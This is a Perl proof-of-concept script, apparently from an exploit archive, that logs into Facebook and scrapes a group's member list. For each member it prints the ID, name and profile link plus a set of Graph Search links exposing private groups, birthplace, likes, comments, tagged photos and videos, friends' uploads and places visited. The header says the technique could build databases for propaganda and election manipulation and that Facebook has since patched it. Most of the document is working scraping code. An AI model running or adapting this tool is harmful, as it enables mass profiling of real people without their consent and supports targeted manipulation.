Facebook Graph Groups Crosswalk User Metadata Mapping Weakness

`#!/usr/bin/perl  
#  
# Facebook (facebug) 'Graph' Groups crosswalk user's   
# metadata mapping weakness (Demo PoC)  
#  
#  
# 2018 Todor Donev <todor.donev at gmail.com>  
# https://ethical-hacker.org/  
# https://facebook.com/ethicalhackerorg  
#  
# Description:  
# Criminal hacker (CRACKER) can take advantage of   
# this weakness by creating a specialized database   
# to manipulate the humans (facebook users) with   
# fake news, misinformation, propaganda or influence   
# elections.  
#  
# See Also:   
# https://en.wikipedia.org/wiki/Schema_crosswalk  
#   
# Disclaimer:  
# This or previous programs is for Educational  
# purpose ONLY. Do not use it without permission.  
# The usual disclaimer applies, especially the  
# fact that Todor Donev is not liable for any  
# damages caused by direct or indirect use of the  
# information or functionality provided by these  
# programs. The author or any Internet provider  
# bears NO responsibility for content or misuse  
# of these programs or any derivatives thereof.  
# By using these programs you accept the fact  
# that any damage (dataloss, system crash,  
# system compromise, etc.) caused by the use  
# of these programs is not Todor Donev's  
# responsibility.  
#  
# Use them at your own risk!  
#  
# Requirements:  
# cpan install HTTP::Cookies  
# cpan install WWW::Mechanize  
#  
#  
# I know that is buggy but is only conceptual tool   
# which demonstrate exploitation of this weakness.  
#  
#  
# Facebook answer:  
# Hi Todor,  
#  
# Thank you for contacting us. Unfortunately what   
# you have described is not currently covered by   
# this program. Please see   
# https://www.facebook.com/data-abuse/terms/ for   
# more information about what is currently in scope   
# of this program. We will follow up with you   
# regarding any questions we may have. For any other   
# questions or concerns, please visit our Help Center:  
# https://www.facebook.com/help.  
#  
# Thanks,  
#   
# Amber Serrano  
# Developer Operations  
#  
# Data Abuse Bounty is useless when this door is widely   
# opened for criminal abusing.  
#  
# Now this weakness is patched..  
#  
# Buggy, Buggy, Buggy.. :)  
#   
use strict;  
use WWW::Mechanize;  
use HTTP::Cookies;  
use open ':std', ':encoding(UTF-8)';  
  
my $un = ''; # facebook login  
my $pw = ''; # facebook password  
print "Facebook (facebug) \'Graph\' Groups crosswalk metadata mapping weakness (Demo PoC)\n";  
print "[ Website: https://ethical-hacker.org\n";  
print "[ Author: Todor Donev <todor.donev at gmail.com>\n";  
die "Usage: perl $0 <Group ID>\n" unless (scalar @ARGV)==1;  
my $mech = WWW::Mechanize->new();$mech->cookie_jar(HTTP::Cookies->new());  
$mech->agent_alias('Linux Mozilla');  
$mech->get("http://m.facebook.com/login.php");  
$mech->submit_form(form_number => 1,fields =>{email=>$un,pass=>$pw});  
die "Error: $! \n" if !$mech->content() =~ /post_form_id\"\svalue=\"(\w+)\"/;  
foreach my $gid (@ARGV){  
$mech->get("https://m.facebook.com/browse/group/members/?id=$gid");  
printf "$1 " if ($mech->content() =~ m/<title>(.*)<\/title>/g);  
for (my $j = 0; $j <= 100000; $j += 30){  
$mech->get("https://m.facebook.com/browse/group/members/?id=$gid&start=$j&listType=list_general");  
die "[ No results found\n[\n[ ==========================\n" if (($mech->content() =~ m{Content Not Found}) or ($mech->content() =~ m{No results found.}));  
if (my @profiles = ($mech->content() =~ m/<div><h3><a href="\/(.*?)">(.*?)<\/a><\/h3>/g)){  
if (my @userid = ($mech->content() =~ m/id="member_(.*?)">/g)){  
while (@profiles || @userid) {  
my $fburl = shift @profiles;  
my $name = shift @profiles;  
my $pid = shift @userid;  
printf "\x1b\x5b0;32m[\x1b\x5b0m User ID: \x1b\x5b0;35m $pid \x1b\x5b0m Name/Profile: \x1b\x5b1;36m $name \x1b\x5b0m \x1b\x5b1;31m=>\x1b\x5b0m https://www.facebook.com/\x1b\x5b0;36m$fburl \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m Which facebook groups the person joined:\x1b\x5b0;33m https://www.facebook.com/search/$pid/groups \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m Which private facebook groups the person joined:\x1b\x5b0;33m https://www.facebook.com/search/$pid/groups-privacy \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m Where the person is bornd:\x1b\x5b0;33m https://www.facebook.com/search/$pid/users-birth-place \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m Posts that the person commented on:\x1b\x5b0;33m https://www.facebook.com/search/$pid/stories-commented \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m Posts that the person like:\x1b\x5b0;33m https://www.facebook.com/search/$pid/stories-liked \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m In which posts is this person tagged:\x1b\x5b0;33m https://www.facebook.com/search/$pid/stories-tagged \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m Posts by the person:\x1b\x5b0;33m https://www.facebook.com/search/$pid/stories-by \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m Photos maded by the person:\x1b\x5b0;33m https://www.facebook.com/search/$pid/photos-by \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m Posts that the person like:\x1b\x5b0;33m https://www.facebook.com/search/$pid/photos-in \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m Which photos does this person like:\x1b\x5b0;33m https://www.facebook.com/search/$pid/photos-liked \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m Photos made of this person:\x1b\x5b0;33m https://www.facebook.com/search/$pid/photos-of \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m In which photos is this person tagged:\x1b\x5b0;33m https://www.facebook.com/search/$pid/photos-tagged \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m What photos did the person comment on:\x1b\x5b0;33m https://www.facebook.com/search/$pid/photos-commented \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m What photos did the friends upload:\x1b\x5b0;33m https://www.facebook.com/search/$pid/friends/photos-uploaded \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m What photos did the friends tagged:\x1b\x5b0;33m https://www.facebook.com/search/$pid/friends/photos-tagged \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m What photos maded by the person's friends:\x1b\x5b0;33m https://www.facebook.com/search/$pid/friends/photos-of \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m Photos by the person's friends:\x1b\x5b0;33m https://www.facebook.com/search/$pid/friends/photos-by \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m Videos made of this person:\x1b\x5b0;33m https://www.facebook.com/search/$pid/videos-of \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m Videos maded by the person:\x1b\x5b0;33m https://www.facebook.com/search/$pid/videos-by \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m In which videos is this person:\x1b\x5b0;33m https://www.facebook.com/search/$pid/videos-in \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m Which videos does this person like:\x1b\x5b0;33m https://www.facebook.com/search/$pid/videos-liked \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m In which videos is this person tagged:\x1b\x5b0;33m https://www.facebook.com/search/$pid/videos-tagged \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m What videos did the person comment on:\x1b\x5b0;33m https://www.facebook.com/search/$pid/videos-commented \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m What videos did the friends upload:\x1b\x5b0;33m https://www.facebook.com/search/$pid/friends/videos-uploaded \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m All visited places:\x1b\x5b0;33m https://www.facebook.com/search/$pid/places-visited \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m Which people are following:\x1b\x5b0;33m https://m.facebook.com/subscribe/lists/?id=$pid \x1b\x5b0m\n";  
printf "\x1b\x5b0;32m[\x1b\x5b0m \n";  
}  
}  
}  
}  
}  
`